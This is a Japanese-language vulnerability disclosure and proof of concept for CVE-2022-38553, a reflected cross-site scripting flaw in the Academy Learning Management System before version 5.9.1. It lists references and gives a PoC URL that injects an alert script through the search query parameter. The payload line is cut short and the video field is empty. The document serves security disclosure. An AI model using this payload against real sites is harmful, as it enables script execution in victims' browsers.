4websecurity/cve-2022-38553"アカデミー学習管理システム"におけるクロスサイトスクリプティング (XSS) - 概念実証 (POC) CVE-2022-38553
ACADEMY LEARNING MANAGEMENT SYSTEM < v5.9.1 におけるクロスサイトスクリプティング (XSS) - 概念実証 (POC) CVE-2022-38553
エクスプロイトタイトル: ACADEMY LEARNING MANAGEMENT SYSTEM < v5.9.1 - クロスサイトスクリプティング (XSS)
CVE ID: CVE-2022-38553
エクスプロイト作者: 4websecurity
作者のウェブページ: https://4websecurity.com
日付: 16-08-2022
ベンダーホームページ: https://creativeitem.com
バージョン: 5.9.1 まで
ベンダーデモページ: https://demo.creativeitem.com/academy/home/
参照:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-38553
https://www.openbugbounty.org/reports/2849933/
https://cve.report/CVE-2022-38553
https://nvd.nist.gov/vuln/detail/CVE-2022-38553
https://youtu.be/yFiZffHoeKs
脆弱性フィールド:
ACADEMY LEARNING MANAGEMENT SYSTEM <5.9.1 のクロスサイトスクリプティング (XSS) 脆弱性により、リモートの攻撃者が search?query パラメータを介して任意のWebスクリプトまたはHTMLを注入できる可能性があります。
概念実証 (POC):
https://example.com/search?query=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E
ペイロード:
">
POC 動画:
セキュリティリスク:
このセキュリティ脆弱性により、攻撃者が準備したURLにアクセスした場合、ユーザーのブラウザで任意のJavaScriptコードが実行される可能性があります。
